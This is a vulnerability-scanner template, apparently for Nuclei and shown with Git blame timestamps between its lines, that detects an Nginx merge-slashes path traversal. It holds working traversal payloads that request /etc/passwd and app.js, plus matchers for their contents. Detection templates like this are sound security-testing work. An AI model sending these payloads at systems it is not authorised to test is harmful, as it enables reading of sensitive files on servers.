2021-07-21 08:16:40 +00:00
id : nginx-merge-slashes-path-traversal
info :
name : Nginx Merge Slashes Path Traversal
author : dhiyaneshDk
severity : medium
2021-10-13 09:00:39 +00:00
description : A vulnerability in the remote Nginx server could cause the server to merge slashslash together causing what should have protected the web site from a directory traversal vulnerability into a vulnerable server.
2021-08-18 11:37:49 +00:00
reference :
2021-08-19 14:44:46 +00:00
- https://github.com/detectify/ugly-duckling/blob/master/modules/crowdsourced/nginx-merge-slashes-path-traversal.json
- https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d
2021-07-23 21:55:22 +00:00
tags : exposure,config,lfi,nginx
2021-07-21 08:16:40 +00:00
requests :
- method : GET
path :
2021-07-23 21:55:22 +00:00
- "{{BaseURL}}///////../../../etc/passwd"
- "{{BaseURL}}/static///////../../../../etc/passwd"
2021-07-21 08:16:40 +00:00
- "{{BaseURL}}///../app.js"
2021-07-23 18:55:13 +00:00
2021-09-02 11:59:10 +00:00
stop-at-first-match : true
2021-07-21 08:16:40 +00:00
matchers-condition : and
matchers :
2021-07-23 21:55:22 +00:00
- type : regex
regex :
2021-07-24 21:35:55 +00:00
- "root:.*:0:0:"
2021-07-21 08:16:40 +00:00
- "app.listen"
part : body
2021-07-23 18:54:37 +00:00
condition : or
2021-07-21 08:16:40 +00:00
- type : status
status :
- 200